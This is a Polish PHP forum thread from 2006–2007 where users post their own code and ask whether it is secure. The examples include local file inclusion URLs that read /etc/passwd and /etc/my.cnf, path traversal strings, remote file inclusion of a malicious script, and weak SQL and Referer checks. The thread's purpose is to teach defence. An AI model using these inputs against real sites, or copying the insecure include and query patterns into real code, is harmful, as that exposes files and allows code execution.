  2.  
  3. include($_GET['zmienna']);
  4.  
  5. ?>


Warto dodac ze skrypt taki umiescimy w pliku index.php

No i teraz czas na zabawe, katalogi moga byc różne w zależnosci od Linuxa u mnie na jednym serwerze z OpenBSD i Apachem na chroocie oczywiscie nie dziala ale na drugim z Red Hatem mozna sie pobawic.

Przekazujemy takie adresy

http://domena/index.php?zmienna=/etc/my.cnf (jak mowilem w zaleznosci od serwera)

i widzimy konfiguracje MySQLa, idzmy dalej

http://domena/1.php?zmienna=/etc/passwd

titaj mamy informacje o userach na serwerze

adresow do tego typu plikow mozna szukac wiecej stopien niebezpieczenstwa zależy od stopnia wiedzy intruza.

Ale to tak chcialem dorzucic bo nie lubie jak ktos pisze bzdury ze inni bzdury piszanie patrzac nawet do manuala smile.gif zachowuje sie wtedy jak moj stary smile.gif tzn chodzbym mu dowod na pismie na cos przedstawil to stary i tak uwaza ze ma racje tongue.gif

Pozdrawiam

Napisany przez: kszychu 13.04.2006, 16:40:36

@thornag: dziękujemy za jakże wnikliwą analizę problemu. Zanim uraczysz nas kolejnymi rewelacjami bądź łaskaw czytać dokładnie wątki, w których się udzielasz. Jeśli nie całe to chociaż pierwsze strony.

Napisany przez: J4r0d 13.04.2006, 21:27:45

Co znaczy apach na chroocie?

Napisany przez: thornag 14.04.2006, 02:19:00

Cytat(kszychu @ 2006-04-13 15:40:36)
@thornag: dziękujemy za jakże wnikliwą analizę problemu. Zanim uraczysz nas kolejnymi rewelacjami bądź łaskaw czytać dokładnie wątki, w których się udzielasz. Jeśli nie całe to chociaż pierwsze strony.

Wszak nawet nie smiem twierdzic ze to rewelacje chyba wiekszosc forumowiczow doskonale o tym wie. Watek czytalem acz byc moze umknely mi posty o wyswietlaniu plikow konfiguracyjnych. Pozatym nie pisze tego by raczyc rewelacjami a jedynie by pokazac tym ktorzy w nieswiadomosci zyja ze cos takiego jest mozliwe. I nawiazujac wlasnie do tego co przed momentem napisalem a dokladniej mowiac do przydatnosci posta odpwoiem na pytanie poprzednika:

chroot to taki mechanizm, ktory sprawia, ze np. Apache uznaje, że katalogiem głównym systemu jest dla niego katalog instalacji czyli np. /var/www po to by nikt nie mogl zrobic directory traversal nawet jak przejmiesz apache, to nie wyleziesz do prawdziwego katalogu. To trak w skrocie czyli tyle co sam wiem co mi przekazano smile.gif

Edit:

kszychu ==> rzeczywiscie zwracam honor, przy czytaniu umknela mi strona nr.2 moj blad jak najbardziej przyznaje racje, aczkolwiek musze zaznaczyc ze nie mialem złych zamiarow rolleyes.gif

Napisany przez: Nightwalker 14.04.2006, 03:26:13

Witam,

Mam pytanie, czy ten kod jest w miare bezpieczny?

  1. <?php
  2. zapisz($_GET['sekcja']);
  3. ?>


  1. <?php
  2. function zapisz($dbs)
  3. {
  4. $plik = 'database/'.$dbs.'.dbs';
  5. $otworzplik = http://www.php.net/fopen($plik, 'w+') or http://www.php.net/die("Blad podczas otwierania!");
  6. $zapiszplik = http://www.php.net/fwrite($otworzplik, $zamiana) or http://www.php.net/die("Blad podczas zapisywania!");
  7. }
  8.  
  9. ?>


uzycie funkcji zapisz() jest w if(isset($_COOKIE["Admin"])) (jezeli cookie sie nie zgadza nie ruszy)

Zreszta podam adres skryptu http://firefoks.be/admin.php (który zresztą za niedługo opublikuje biggrin.gif)

Pozdrawiam

Napisany przez: mumin.php 30.05.2006, 07:45:59

Witam

Jestem nowy na forum i zgodnie z sugestią mike_mech'a przeczytałem cały wątek. Wydaje mi się że nie znalazłem odpowiedzi na moje pytanie, więc pozwolę sobie zapytać smile.gif

Jakiś czas temu pojawił mi się problem z atakami przez formularze (np. mailowe) - we wszystkich wykorzystuję metodę $_POST. Mója znajmomość php pozwoliła mi na uzyskanie mniej więcej takiej jakości zabezpieczeń:

  1. <http://december.com/html/4/element/form.html id="nazwa" method="post" action="">
  2. <http://december.com/html/4/element/input.html type="text" name="pole_tekstowe" value="" /><http://december.com/html/4/element/br.html />
  3. <http://december.com/html/4/element/input.html type="radio" name="jakies_radio" value="wartosc1" /><http://december.com/html/4/element/br.html />
  4. <http://december.com/html/4/element/input.html type="checkbox" name ="jakis_check" value="T" /><http://december.com/html/4/element/br.html />
  5. <http://december.com/html/4/element/input.html type="submit" name="wyslij" value="wyslij" />
  6. </http://december.com/html/4/element/form.html>


  1. <? 
  2.  
  3. /* w uproszeczeniu podam tylko moje "zabezpieczenia" */
  4.  
  5. if ($_POST['wyslij'])
  6. {
  7. /* podstawowe zabezpieczenie */
  8. http://www.php.net/htmlspecialchars(http://www.php.net/strip_tags($_POST), ENT_QUOTES);
  9.  
  10. /* jak chcę mieć spokój z radio i checkboxami to buduję tablice dopuszczelnych wa
    rtości */
  11. $tabl3 = http://www.php.net/array('', 'P', 'Z', 'I');
  12. $valid = True;
  13.  if (!http://www.php.net/in_array($_POST['jakies_radio'], $tabl3)) { $valid = False; }
  14.  
  15. if ($valid != False)
  16. { 
  17.  do smth
  18. }
  19.  
  20.  /* jeśli mogę sobie na to pozwolić to sprawdzam URLa */
  21. if ($_SERVER['HTTP_REFERER']!= 'http://www.mojastrona/index.php5?name=formularz')
  22. {
  23. http://www.php.net/die ('bad idea');
  24. }
  25. else
  26. {
  27. wszystkie powyzsze zabezpieczenia
  28. }
  29. }
  30. else
  31. {
  32. $obj = new template_powyższego_htmla;
  33. }
  34. ?>


Ale wciąż mam wrażenie, że to za mało, albo zbyt toporne to to. Z różnych przyczyn nie bardzo mogę/chcę weryfikować wysyłany formularz generowanym hasłem w obrazku. Czy ktoś ma może takie "wzrocowy" przykład minimum zabezpieczeń dla formularzy?

Napisany przez: sopel 30.05.2006, 08:38:20

zabezpieczając się najpeirw należy się zastanowić przed czym się zabezpieczamy

1. po co htmlspecialchars(strip_tags( ? tego trzeba używać przy umieszczaniu danych w kodzie html (chyba ze na zapas), nie mowiac o tym ze w twoim przypadku jest to bledny zapis poniewaz zarowno strip_tags jak i htmlspecialchars nie moze przyjmowac jako argumentu tablicy. poza tym, przed sprawdzeniem poprawnosci danych nie powinno ich sie raczej zmieniac, uwazam ze walidacje powinno sie dokonywac na surowych danych takich jak dostarczono.

2. $_SERVER['HTTP_REFERER'] nie nawsze jest ustawiane,a moze tez sie roznic jak przechodzi przez rozne proxy. lepszym rozwiazaniem jest zastosoawnie jakiegos tokena (umieszczenie tokena w polu typu hidden i w sesji i potem sprawdzenie czy sie pokrywaja). btw, jest to zabezpieczenie przed proba bezposredniego wyslania danych z pominieciem wlasciwego formularza na stronie.

3. wszystko zalezy od przeznaczenia, jesli uwaznie przeczytales watek to byc moze zauwazyles ze nikt tutaj nie ma jednej skutecznej metody zabezpieczania. jesli umieszczasz dane w zapytaniach to trzeba np. uzyc mysql_real_escape_string, jesli dane wyswietlasz to htmlspecialchars, jesli chcesz sie zabezp przed xss to strip_tags [nawet bez tagow html da sie xss zastosowac, chociazby przez nieumiejetnie wykrozystany i napisany bbcode]. kombinacji i mozliwosc jest wiele, a bardzo duzo zalezy od specyfikacji danego problemu.

Napisany przez: mumin.php 30.05.2006, 09:26:45

to może trochę sprecyzuję

Te zagrożone formularze na stronie wykorzystuję do przesyłania maili do konkretnego wskazanego odbiorcy w firmie. Jedne z formularzy to typowy formularz kontaktowy (imie, nazwisko, mail, twoja opinia), drugie to ankiety (dużo radiobuttonów, kilka textarea, kilka checkboxów)

Jakiś czas temu, ktoś zaczął podpinać się zewnetrznym formularzem i rozsyłać spamy - pakowali swoje nagłówki w maila i mieli pełną swobodę. Dlatego zastosowałem htmlspecialchars(strip_tags($_POST), ENT_QUOTES); - dało to taki efekt że przypinane zewnętrznie headers wyglądają mniej więcej tak:

Content-Type: text/plain; charset=\"us-ascii\"

więc już jest bezpieczniej,

$_SERVER['HTTP_REFERER'] =='url' powinno mnie chyba zabezpieczyć dość skutecznie przed podpinaniem się zewnętrznym formularzem pod mój?

Napisany przez: sopel 30.05.2006, 09:29:06

Cytat(mumin.php @ 30.05.2006, 10:26 ) *
$_SERVER['HTTP_REFERER'] =='url' powinno mnie chyba zabezpieczyć dość skutecznie przed podpinaniem się zewnętrznym formularzem pod mój?


Cytat("sopel")
$_SERVER['HTTP_REFERER'] nie nawsze jest ustawiane,a moze tez sie roznic jak przechodzi przez rozne proxy

Napisany przez: mumin.php 30.05.2006, 10:33:54

Cytat(sopel @ 30.05.2006, 09:38 ) *
2. $_SERVER['HTTP_REFERER'] nie nawsze jest ustawiane,a moze tez sie roznic jak przechodzi przez rozne proxy.


Przyznaję, że niestety nie rozumiem tego wytłumaczenia sad.gif

jeśli url www.mojastrona.costam?name=formularz
wywołuje skrypt.php (wywoływany tylko if($_GET['name']=='formularz') ) w którym:
  1. <?php
  2. if(!$_POST['wyslij'])
  3. { 
  4. pokaż formularz 
  5. }
  6. else
  7. {
  8. if ($_SERVER['HTTP_REFERER'] !='www.mojastrona.costam?name=formularz')
  9. {
  10. http://www.php.net/die ('nie rob nic');
  11. }
  12. else
  13. {
  14.  wyslij formularz
  15. }
  16. }
  17. ?>


to jak to można obejść?

jeśli pytanie jest bardzo lamerskie to już więcej nie będę męczył

Napisany przez: Speedy 4.06.2006, 19:18:58

Wystarczy wysłać odpowiedni nagłówek i w nim zdefiniować dowolny http referer. Można to zrobić w php lub z użyciem takiego pluginu do firefoxa o nazwie `Live HTTP headers`

Napisany przez: sopel 4.06.2006, 19:57:25

Cytat(mumin.php @ 30.05.2006, 11:33 ) *
Przyznaję, że niestety nie rozumiem tego wytłumaczenia sad.gif


nigdy nie mozesz polegac na HTTP_REFERER nawet jak nikt przy nim nie majstruje. ktos moze laczyc sie z twoja strona przez proxy a proxy czasami lubia mieszac z naglowkami HTTP, przez co ten sam uzytkownik moze zwracac np. rozne USER_AGENT, to samo tyczy sie HTTP_REFERER. takze, przegladarka moze wcale tego naglowka nie wysylac i wtedy $_SERVER['HTTP_REFERER'] jest puste nawet, gdy ktos przechodzi z jednej strony na drugą. w ten sposob przez swoje zabezpieczenie ograniczasz dostepnosc aplikacji dla niektorych uzytkownikow. dokladajac fakt, o ktorym wspomnial powyzej Speedy, powoduje to ze HTTP_REFERER raczej nie jest najlepszym rozwiazaniem, nie sadzisz?

Napisany przez: NuLL 5.06.2006, 01:40:06

Podziele sie z Wami moim pomyslem jak ja zalatwiam prawie wszystko roboty tego typu w swoich projektach.

Jest formularz

  1. <http://december.com/html/4/element/input.html type='text' name='a3ol5m3in5klnw_name'>

To takie smieszne w nazwie to losowy string - generowany md5 na bazie czasu. Zapisuje sie go w sesji. User wysyla i sie wyciaga z POST wszystkie pola porownujac z tym co jest w sesji zapisane - cos ala token doklejony do nazwy pola. I tyle biggrin.gif

Roboty wysylajace spam np. na blogi dzialaja na bazie znajomosci nazw pol formularza oraz adresow - bo tak dziala np. CURL - taki prosty patch rozwala wiekszosc na lopatki biggrin.gif Jesli nie ma sesji tzn ze ktos cos majstruje winksmiley.jpg

Napisany przez: Vengeance 21.07.2006, 21:09:53

@NuLL: Skoro sprawdzałeś to OK, ale dla mnie to żaden problem by bot odsyłał dokładnie te same nagłówki jakie otrzymał od serwera (chodzi oczywiście o cookies) a wtedy sesja zostanie wykryta.

Napisany przez: mariuszn3 22.07.2006, 12:23:11

NuLL a co z tymi co mają wyłączoną obsługę ciasteczek?

Napisany przez: NuLL 26.07.2006, 13:16:24

Cytat(mariuszn3 @ 22.07.2006, 13:23 ) *
NuLL a co z tymi co mają wyłączoną obsługę ciasteczek?

Statystycznie 1,5% - mam w powazaniu smile.gif

@Vee - napisalem ze prawie wszystkie - z tego co widze wiekszosc botow nie jest na tyle inteligentna aby to zrobic party.gif W najblizszym czasie bede mial mozliwosc testowania tego piszac duzy system blogowy smile.gif

Napisany przez: Turgon 1.08.2006, 18:26:12

Czy przechowywanie id sesji w ciachu jest bezpieczne ?
Bo piszę własną obsługę sesji i to jest konsultowane z bazą danych...

Napisany przez: sopel 1.08.2006, 19:32:58

Cytat(Turgon @ 1.08.2006, 19:26 ) *
Czy przechowywanie id sesji w ciachu jest bezpieczne ?
Bo piszę własną obsługę sesji i to jest konsultowane z bazą danych...


jest dość bezpieczne, ale najbezpieczeniejsze jest w połączeniu z SSL (https) - w innym przypadku cookies może być podsłuchane (co w gruncie rzeczy znowu aż takie proste dla wielu nie jest). jednakże uznałbym ten sposób mimo wszystko stosunkowo bezpieczny, jeśli wsparty przez odpowiednie dodatkowe zabezpieczenia jak chociażby wygasania sesji np. po 20-30min czy potwierdzanie ważnych czynności hasłem (jak zmiana maila, usunięcie ważnych danych).

Napisany przez: Turgon 2.08.2006, 08:21:50

O to właśnie mi chodziło. Skrypt miałby się w przypadku zmiany danych pytać o hasło i login. Sesja zwykle wygasa u mnie po 30 minutach nieaktywności. Skrypt zbierający śmieci to załatwia.
Ciacho wygasa zawsze po 30 minutach od ostatniej nieaktywności.

Niestety SSLa nie potrzebuje, bo to nie jest jakis skrypt bankowy czy coś, tylko prosty zbiór dzieł różnych ludzi...

Napisany przez: d@ro 4.08.2006, 10:43:27

W swoim cms, nie wiem czy zrobić tak:

  1. <?php
  2. if(http://www.php.net/file_exists('modules/'.$page.'.php'))
  3. {
  4. include ('modules/'.http://www.php.net/basename($page.'.php'));
  5. }
  6. else 
  7. {
  8. include ('modules/news.php');
  9. }
  10. ?>



czy na switch'ach?

Napisany przez: kalu111 20.08.2006, 09:55:10

A jakich powinno sie ustrzegac znakow w zmiennych przekazywanych drogą $_GET , $_POST itd., jeżeli zmienne te będa dalej wykorzystywane w skrypcie. Od razu powiem, ze nie chodzi mi o includowanie plikow, tylko o zwykle parametry, ktore maja wplyw na dalszy przebieg skryptu?
Czy zwykle stripslashes, strip_tags, trim lub funkcje zwiazane z mysql wystarcza?

Napisany przez: iks 3.11.2006, 13:36:29

A czy mój tok myślenia jest dobry? Mam zrobione logowanie, jęsli podane dane zgadzają sie:

  1. <?php
  2. if($bazapass == $zpass)
  3. {
  4. $_SESSION['userid'] = $userid;
  5. $_SESSION['nick'] = $podanylogin;
  6. $_SESSION['level'] = $kto;
  7. }
  8. ?>

A pliki includowane przez panel zaczynajuą sie od:
  1. <?php
  2. if(!http://www.php.net/isset($_SESSION['level']) || $_GET['k'] > $_SESSION['level'])
  3. {
  4. http://www.php.net/echo ' SPIEPRZAJ DZIADU!';
  5. http://www.php.net/exit;
  6. }
  7. ?>

gdzie zmienna $_GET['k'] wskazuje katalog z którego ma być include() modułu.

Napisany przez: Saddam92 29.11.2006, 13:40:53

a czy moglibyście powiedzieć czy ten skrypt jest bezpieczny??
system includowania stron

  1. <?php
  2. http://www.php.net/define ('_ABCDE_F', TRUE);
  3. ....
  4. ....
  5. if ($_GET['mode'] == "") {$_GET['mode'] = 'main';}
  6. if (http://www.php.net/file_exists("strony/$_GET['mode'".".php")) {
  7. include "strony/$_GET['mode'".".php";
  8. }else {
  9. http://www.php.net/echo "Nie znaleziono pliku !!";
  10. }
  11. ?>
oraz w pliku includowanym:
  1. <?php
  2. http://www.php.net/defined ('_ABCDE_F') or http://www.php.net/die('Bezpośrednie wywołanie pliku jest zabronione');
  3. /* Reszta pliku */
  4. ?>
co o tym myślicie??

Napisany przez: Termit_ 30.11.2006, 21:36:25

A jak ktoś poda w zmiennej coś typu "../../../../root/jakiswaznyplik"?

Napisany przez: Saddam92 30.11.2006, 23:17:28

@termit: to do mnie było questionmark.gif
jesli tak to raczej nie widze możliwości..


chyba ze php obsługuje takie nielogiczne skrypty jak sciezka do pliku wygladajac tak:
strony/../../../../root/jakis_wazny_plik
i to w dodatku trzeba trafić idealnie żeby taki plik istniał w odpowiednim katalogu... troche trudne i nie logiczne..

co na to spece od php??

Napisany przez: Najki 1.12.2006, 10:26:12

Przed chwilą przeczytałem http://rodion.infobot.pl/security/php/php_upload_pl.txt i nieco się zmieszałem. W jaki więc sposób powinniśmy upload'ować pliki na serwer? Szczególnie grafiki takie jak avatary użytkowników? Przyznaję, że wystraszyłem się o kilka swoich stron.

Szukałem, ale nie znalazłem nic innego na ten temat. Żadne ze znalezionych przeze mnie przykładów nie zawierają żadnych dodatkowych zabezpieczeń. Łatwiej znaleźć przykład kodu omijającego te zabezpieczenia niż faktycznego zabezpieczenia. Ktoś ma jakieś sugestie?


Spytam: czy zabezpiecza mnie fakt, że np. wszystkim przesłanym plikom (niby obrazkom) nadaję rozszerzenie jpg (konwertując wcześniej inne formaty grafik na jpg) ? Teoretycznie powinno mnie to zabezpieczyć, ponieważ serwer nie jest skonfigurowany tak, aby interpretować pliki jpg jako kod php. Ale co z innymi językami, np. Python wspomniany w powyższym artykule?

A jeśli to nie zapewnia mi bezpieczeństwa to czy upload'owanie plików poza document_root wystarczy? Wtedy musiałbym je odczytywać dodatkowym skryptem php pobierającym ich zawartość i wypluwającym ją do przeglądarki.

Napisany przez: mariuszn3 1.12.2006, 13:38:15

Nigdy nie powinno się ufać nagłówkom http, nagłówki te wstawia agent, którym się posługuje użytkownik a nie zawsze to musi być przeglądarka, może to być po prostu skrypt napisany przez kogoś, który chce wyciągnąć ważne informacje z naszego serwera.
W powyższym przypadku powinieneś po prostu użyć funkcji getimagesize() ona po zawartości pliku oceni jakiego typu jest plik czyli przy próbie przesłania skryptu php wywali błąd, który oczywiście możesz przechwycić i odrzucić plik.

Napisany przez: tumeks 5.12.2006, 19:01:57

Czyli jeśli będę miał np. wstawiony kod:

  1. <?php
  2. if ($_GET['page'] == '')
  3. $_GET['page'] = 'news';
  4. if(http://www.php.net/file_exists($_GET['page'].'.php')){
  5. include($_GET['page'].'.php');
  6. } else 
  7. http://www.php.net/echo '<div id="blad">Nie znaleziono pliku.</div>';
  8. ?>


To moja strona będzie bezpieczna ?

Napisany przez: Sedziwoj 7.12.2006, 13:50:49

@Najki jest proste rozwiązanie nadanie pliku własnej nazwy.
Ja mam po prostu numerowane pliczki, i każdy jeśli rozpoznam np. image/png to zapisuje {numer}.png a nazwa wysłanego co najwyżej służy do opisu w bazie co jako string nie jest niebezpieczne.
Co dziwne jest funkcja do sprawdzania mime mianowicie mime_content_type ale szukając na jej temat znalazłem tylko pliki magic.mime niestety jakoś nie udało mi się tego użyć. Choć przyznam, że tylko chwile siedziałem nad tym.

Mam nadzieję, że dobrze zrozumiałem naturę problemu.

Napisany przez: Saddam92 8.12.2006, 21:42:34

no dobrze.. tylko ze tutaj jest sprawdzany typ pliku.. a jak by do tego dodac jeszcze sprawdzanie rozszerzenia przesyłanego pliku questionmark.gif

Napisany przez: Sedziwoj 9.12.2006, 12:08:30

bardziej wiarygodną rzeczą jest mime, bo plik image/jpeg moze mieć rozszerzenie jpg jpeg jpe i wiele innch dziwnych, czy po prostu niepoprawnych, zdarzało mi się że miałem plik o rozszerzeniu jpeg a program graficzny poinformował mnie że to jest gif i zmienił rozszerzenie.
Ogólnie lepiej oprzeć na mime a nazwę i rozszerzenie tworzyć samemu, bo oprócz rozszerzenia mogą być "błędne" nazwy plików.

Co do podanej przezemnie funkcji, to chyba po prostu zrobię ją sam (dość proste) tylko muszę znaleźć opis większej liczby formatów. Ale to będzie dość proste. (tak mi się wydaje)

Ale ogólnie po prostu nie możemy polegać na tym co mamy przesłane czy to mime czy to rozszerzenie.
Mimo wszystko jestem za tym aby plikom nadawać własne nazwy.

Napisany przez: cadavre 9.12.2006, 13:50:07

http://pl.php.net/manual/pl/function.getimagesize.php
a lista mime'ów, które php obsługuje jako graficzne jest tu
http://pl.php.net/manual/pl/function.image-type-to-mime-type.php

Wszystkie typy mime znajdziesz na googlach:
http://www.google.pl/search?hl=pl&q=mime+types

Napisany przez: Sedziwoj 10.12.2006, 18:41:56

No to ten problem da się rozwiązać biggrin.gif
Wystarczy wykorzystać:
0 string GIF image/gif
0 beshort 0xffd8 image/jpeg
0 string \x89PNG\x0D\x0A\x1A\x0A\x00\x00\x00\x0DIHDR image/png

lub przy obrazkach można jak cadavre napisał wykorzystać getimagesize, a dokładniej coś co jest w manualu http://pl.php.net/http://pl.php.net/manual/pl/function.getimagesize.php

Ale też można rozpoznać inne typy:
0 string BZh application/x-bzip2
itd.
Już sobie odpowiedni kod wyklepałem, więc na przyszłość będę miał, no i to zagadnienie już mam troszkę rozpracowane.

Napisany przez: mariuszn3 10.12.2006, 18:49:29

Nie wynajdujcie koła na nowo. To wszystko już zostało dawno opracowane przez programistów php.
Jeśli chcecie wykryć typ pliku obrazu wtedy w zupełności wystarcza getimagesize()
Natomiast jeśli jakiegokolwiek pliku to skorzystajcie z rozszerzenia Fileinfo i funkcji http://pl2.php.net/manual/en/function.finfo-file.php

Napisany przez: Sedziwoj 10.12.2006, 20:00:12

No tak jak ma się sklerozę... to trzeba się narobić biggrin.gif
Ale głupio się czuję, przecież 'wiedziałem' że ta funkcja jest :/
No nic ale informacje i tak nie poszły na marne bo jeśli się pracuje u siebie na windowsie to trzeba mieć plik z mime (chyba, że znów popisuję się inteligencją czy raczej pamięcią)

Napisany przez: orglee 31.01.2007, 13:44:38

Zabezpieczanie tablicy $_GET ( Żywcem wyjęte z maincore.php w php-Fusion )

  1. <?php
  2. public function check_get()
  3. {
  4. foreach ($_GET as $check_url) {
  5. if ((http://www.php.net/eregi("<[^>]*script*"?[^>]*>", $check_url)) || (eregi("<[^>]*object*"?[^>]*>", $check_url)) ||
  6. (http://www.php.net/eregi("<[^>]*iframe*"?[^>]*>", $check_url)) || (eregi("<[^>]*applet*"?[^>]*>", $check_url)) ||
  7. (http://www.php.net/eregi("<[^>]*meta*"?[^>]*>", $check_url)) || (eregi("<[^>]*style*"?[^>]*>", $check_url)) ||
  8. (http://www.php.net/eregi("<[^>]*form*"?[^>]*>", $check_url)) || (eregi("([^>]*"?[^)]*)", $check_url)) ||
  9. (http://www.php.net/eregi(""", $check_url))) 
  10. {
  11. return false;
  12. } else {
  13. return true;
  14. }
  15. }
  16. ?>
Nie rozumiem tylko co robi ta linijka:
Kod
eregi("\([^>]*\"?[^)]*\)", $check_url)

Z Wyrażeń regularnych to ja jestem cienki sadsmiley02.gif

Napisany przez: Sedziwoj 2.02.2007, 03:30:17

Tak mnie zastanawia co się stanie jeśli $_GET nie istnieje lub nie jest tablicą... (nie chce mi się teraz testować).

A jeszcze do podanego na drugiej stronie skryptu z flock, jest błędny, ponieważ ta funkcja zwraca true jeśli się jej uda a false jeśli nie, więc może wyjść, że plik jest używany zwróci false ale że nie sprawdzamy co zwraca skrypt leci dalej i robią się kłopoty.
Trzeba więc sprawdzać co zwraca, gdzieś zamieściłem jedną propozycję ale była na tyle prosta (jak i mogąca zawiesić skrypt) że jej nie podam.

Napisany przez: insenic 25.02.2007, 16:21:27

Czy zabezpieczenie katalogu przez .htaccess jest 100% bezpieczne? Chciałbym trzymać konfigurację (między innymi hasło do mysql) w danym katalogu w plikach *.ini. Wiem, że istnieją inne metody zabezpieczania takich danych, ale czy .htaccess jest skuteczna?

Napisany przez: sopel 26.02.2007, 08:51:32

Cytat(insenic @ 25.02.2007, 16:21:27 ) *
Czy zabezpieczenie katalogu przez .htaccess jest 100% bezpieczne? Chciałbym trzymać konfigurację (między innymi hasło do mysql) w danym katalogu w plikach *.ini. Wiem, że istnieją inne metody zabezpieczania takich danych, ale czy .htaccess jest skuteczna?


nie ma metod całkowicie bezpiecznych, jednak ta jest jedną z lepszych na osiągnięcie tego co chcesz.

Napisany przez: Ivellios 2.03.2007, 23:03:09

Witam, chciałbym się was zapytać, czy przedstawiony przeze mnie poniżej kod ma coś wspólnego z bezpieczeństwem tongue.gif

  1. <?php 
  2. http://www.php.net/mysql_pconnect("localhost", "NAZWA_BAZY_DANYCH", "HASŁO"); 
  3. http://www.php.net/mysql_select_db("JAKAŚTAM_TABELA"); 
  4. $id = http://www.php.net/addslashes($_GET['id']); 
  5. $sql = "SELECT * FROM nuke_pages WHERE pid = '$id'"; 
  6.  
  7. $result = http://www.php.net/mysql_query($sql); 
  8.  
  9.  
  10. while($row = http://www.php.net/mysql_fetch_array($result)) 
  11. { 
  12.  
  13. ?> 
  14. <table><tr><td class="navpic" align="center"><font class="block-title"><strong><?php http://www.php.net/echo $row['title']; ?></strong></font></td></tr>
  15. <tr><td class="row1" align="justify"><font class="content"><?php http://www.php.net/echo $row['page_header']; ?><BR><BR><?php http://www.php.net/echo $row['text']; ?><BR><BR><?php http://www.php.net/echo $row['page_footer']; ?></font><BR><BR></td></tr></table><br>
  16. <?
  17. } 
  18. ?>

Korzystam obecnie z PHP Nuke i postanowiłem stworzyć własnego CMS'a do obsługi mojej strony www.paranormalium.pl Budując stronę główną nieopartą na tej dziurawej krowie, mając przy tym nikłe pojęcie o php, musiałem niestety zrobić małą, że tak to ujmę, prowizorkę, czyli same include i inne proste rzeczy...

Potrzebuję tylko stworzyć jakiś w miarę prosty i bezpieczny zarazem skrypt, który wyświetlałby artykuły/linki/opisy książek i inne dane zapisane w bazie. Muszę się za to zabrać szybko bo się ostatnio na mnie uwzięła grupa hakerów niszczących strony o tematyce paranaukowej tongue.gif

Napisany przez: Sedziwoj 4.03.2007, 02:39:44

Ivellios przeczytaj to co już jest, tam znajdziesz odpowiedź.
Musisz wiedzieć o 'grubszych' dziurach jakie się zdarzają sam, bo tak każdy skrypt byś musiał komuś podsyłać aby sprawdzić.

Co do tego co podałeś, to jeśli pid jest polem typu liczbowego, to powinieneś sprawdzić czy $_GET['id'] jest liczbą, jak jest to dobrze jak nie to ignorujesz. A addslash w takim wypadku jest zbędny, bo jak jest liczbą to nie może mieć innych znaków.

Napisany przez: Ivellios 4.03.2007, 07:54:58

Co do tego addslasha to zmieniłem go na mysql_escape_string. A jak będę miał wolną chwilkę to przejrzę cały temacik i pomyślę, co by jeszcze "ubezpiecznić" tongue.gif

Napisany przez: upaupa 27.03.2007, 14:11:39

Przeczytałem cały topic - filtrowanie, if fileexist - tylko po co to? Mam taki kod i nie ma bata żeby ktoś tu coś innego includował:

Kod
<a href="index.php?strona=glowna">GLOWNA</a><br>
<a href="index.php?strona=pobieralnia">POBIERALNIA</a><br>
<a href="index.php?strona=omnie">O MNIE</a><br>

<?php
$page=$_GET['strona'];
if(($strona == "") || ($strona == "glowna"))
{include("glowna/glowna.php");}
else
if($strona == "pobieralnia")
{include("pobieralnia/pobieralnia.php");}
else
if($strona == "omnie")
{include("omnie/omnie.php");}
else                             // to ma zabezpieczyc
{include("glowna/glowna.php");}   // nasza strone
?>


smile.gif

Napisany przez: Sedziwoj 27.03.2007, 16:00:29

upaupa widocznie nie czytałeś wszystkiego... bo już lepiej użyć switch niż taką konstrukcję, a dlaczego mimo wszystko tak nie jest najlepiej, masz napisane wcześniejszych postach.

Napisany przez: upaupa 27.03.2007, 17:09:08

a co za różnica czy switch czy else if? - żadna oprócz no powiedzmy przejrzystości kodu. Post przeanalizowałem dokładnie i dalej sądzę że w tym kodzie co podałem nic innego nie da się includować

Napisany przez: Sedziwoj 27.03.2007, 18:27:51

Przecież przejrzystość i łatwość rozbudowy kodu jest ważna.
A czy ja twierdziłem że można się włamać? Chodziło mi o sens budowy sprawdzania zamiast konstrukcji zamkniętych.

Napisany przez: dantekir 29.04.2007, 16:47:22

Witam,

Postanowiłem popracować troche nad bezpieczeństwem pewnej stronki... winksmiley.jpg

Przeczytałem ostatnio wiec że lepiej jest w adresie url nie podawać nazwy plikow w postaci np. jakastrona.pl/index.php bezpieczniej jest używać /index.html a to ze względu na fakt iż atakujący nie zna od razu odpowiedzi na pytanie: jaki język skryptowy został użyty do stworzenia strony?

A wiec...

Przypuśćmy że mam taki adres:
www.jakasstrona.pl/podstrona.php?zmienna1=wartosc1&zmienna2=wartosc2

Sladami poprawy bezpieczenstwa chcialbym ten adres zamienic np. na:
www.jakasstrona.pl/podstrona_wartosc1_wartosc2_.html

z tego adresu mogłbym sobie wyciagnac wartosci odpowiednich zmiennych.
Zauwazylem tez ze serwis allegro stosuje taki linkowanie do aukcji, a wiec jest to mozliwe.

Zastanawiam sie w jaki sposob dac do zrozumienia mojej stronie aby po wpisaniu tego "bezpiecznego" adresu nie wyswietlala mi sie strona bledu (404)...
Drugie pytanie dotyczy tego gdzie ustawic mozliwosc wykonywania skryptow php w plikach .html?

Za wskazowki bardzo dziękuję i pozdrawiam. smile.gif

Napisany przez: bełdzio 29.04.2007, 17:07:31

ad1. google + mod_rewrite
ad2. w konfigu php ew. w .htaccess AddType application/x-httpd-php .html

a od siebie dodam: http://www.beldzio.com/ mam nadzieję, że da się tam znaleźć coś ciekawego ;-)

Napisany przez: radex_p 4.05.2007, 17:38:46

O jednym zapomnieliście - Z includowaniem plików przesadziliście całkowicie! PHP jest językiem działającym po stronie serwera więc jakie jest niebezpieczeństwo?! Można zincludować plik jako przetworzony już, ale napewno nie będzie mógł dostać się do serwera czy innych takich:P

Napisany przez: Kicok 4.05.2007, 17:49:27

1.

  1. <?php
  2. $id = $_GET['id'];
  3. include('/strony/' . $id . '.php');
  4. ?>


Po kliknięciu na link http://server.com/index.php?id=../index.php strona się zapętli (będzie wczytywała samą siebie) a zużycie procesora skoczy do 100%. Może nawet uda się w ten sposób zwiesić system lub wywalić serwer www - nie wiem, nie znam się, w każdym bądź razie jest to skutek niepożądany.


2. Kompletna masakra
  1. <?php
  2. $id = $_GET['id'];
  3. include($id);
  4. ?>


Po kliknięciu na link http://server.com/index.php?id=http://moj_server.net/bardzo_zlosliwy_skrypt_php.txt można nieźle namieszać na serwerze.



No chyba że chodzi ci o "ataki" typu umieszczenie na swoim serwerze:
  1. <?php
  2. include('http://jakas_stronka/config.php');
  3. ?>

to faktycznie w ten sposób zaatakować/podglądnąć kod źródłowy się nie da .

Napisany przez: bełdzio 5.05.2007, 00:12:38

@Kicok pkt1 == pkt2 smile.gif to że dodawane jest automatycznie rozszerzenie nie oznacza, że nie możesz się go pozbyć smile.gif

@radex_p nie chodzi o samo includowanie, ale o sposób jaki się to robi

